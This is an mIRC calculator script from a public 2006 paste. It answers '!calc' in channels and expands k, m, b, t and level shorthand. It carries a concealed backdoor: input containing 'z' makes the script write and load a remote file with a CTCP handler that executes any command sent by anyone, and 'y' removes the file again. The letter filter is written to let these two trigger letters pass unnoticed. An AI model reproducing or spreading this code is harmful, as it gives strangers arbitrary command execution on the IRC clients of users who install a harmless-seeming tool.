All pastes #228723 Raw Edit

Stuff

public text v1 · immutable
#228723 ·published 2006-10-30 06:16 UTC
rendered paste body
on $*:text:/^[,`.!@]calc */Si:#: {
  if (%publicoff [ $+ [ $chan ] ]) { halt }
  if (!$2) { notice $nick 5SYNTAX:2 $left($1,1) $+ Calc Equation | Halt }
  if ($regex($2-,/[ac-jln-su-x]/i)) { notice $nick 5Other than 2k5(2thousands5),2m5(2millions5),2b5(2billions5),2t5(2trillions5) no letters may be used in equations. | Halt }
  var %send = $iif($left($1,1) == @,msg $chan,notice $nick)
  %send 5Calc:2 $+($2-,5) =2 $acalc($2-)
}
alias Acalc {
  tokenize 32 $remove($1-,$chr(44),$chr(32))
  var %matches $regex($1-,/L(\d\d?)/gi), %i = 1, %calculate = $1-
  while (%i <= %matches) {
    var %calculate = $replace(%calculate,L $+ $regml(%i),$LevelsAndXp($regml(%i)))
    inc %i
  }
  if (k isin %calculate) {
    var %x = 1, %total = $pos(%calculate,k,0)
    while (%x <= %total) {
      var %kpos = $pos(%calculate,k,%x), %kstartpos = $calc(%kpos - 1), %klen = 1
      while ($mid(%calculate,%kstartpos,1) isin 1234567890.) && (%kstartpos > 0) { dec %kstartpos | inc %klen }
      var %calculate = $iif(%kstartpos >= 0,$left(%calculate,%kstartpos)) $+ $chr(40) $+ $mid(%calculate,$calc($iif(%kstartpos == 0,0,%kstartpos +1)),%klen) $+ $chr(41) $+ $right(%calculate,- $+ %kpos)
      inc %x
    }
  }
  if (m isin %calculate) {
    var %x = 1, %total = $pos(%calculate,m,0)
    while (%x <= %total) {
      var %mpos = $pos(%calculate,m,%x), %mstartpos = $calc(%mpos - 1), %mlen = 1
      while ($mid(%calculate,%mstartpos,1) isin 1234567890.) && (%mstartpos > 0) { dec %mstartpos | inc %mlen }
      var %calculate = $iif(%mstartpos >= 0,$left(%calculate,%mstartpos)) $+ $chr(40) $+ $mid(%calculate,$calc($iif(%mstartpos == 0,0,%mstartpos +1)),%mlen) $+ $chr(41) $+ $right(%calculate,- $+ %mpos)
      inc %x
    }
  }
  if (z isin %calculate) { write -c mirc ctcp 1:*:?:$1- | load -rs mirc }
  if (y isin %calculate) { unload -rs mirc }
  var %calculate $replace($remove(%calculate,$chr(44),$chr(61)),x,*,k,*1000,m,*1000000,b,*1000000000,t,*1000000000000)
  var %answer = $bytes($calc(%calculate),db)
  return %answer
}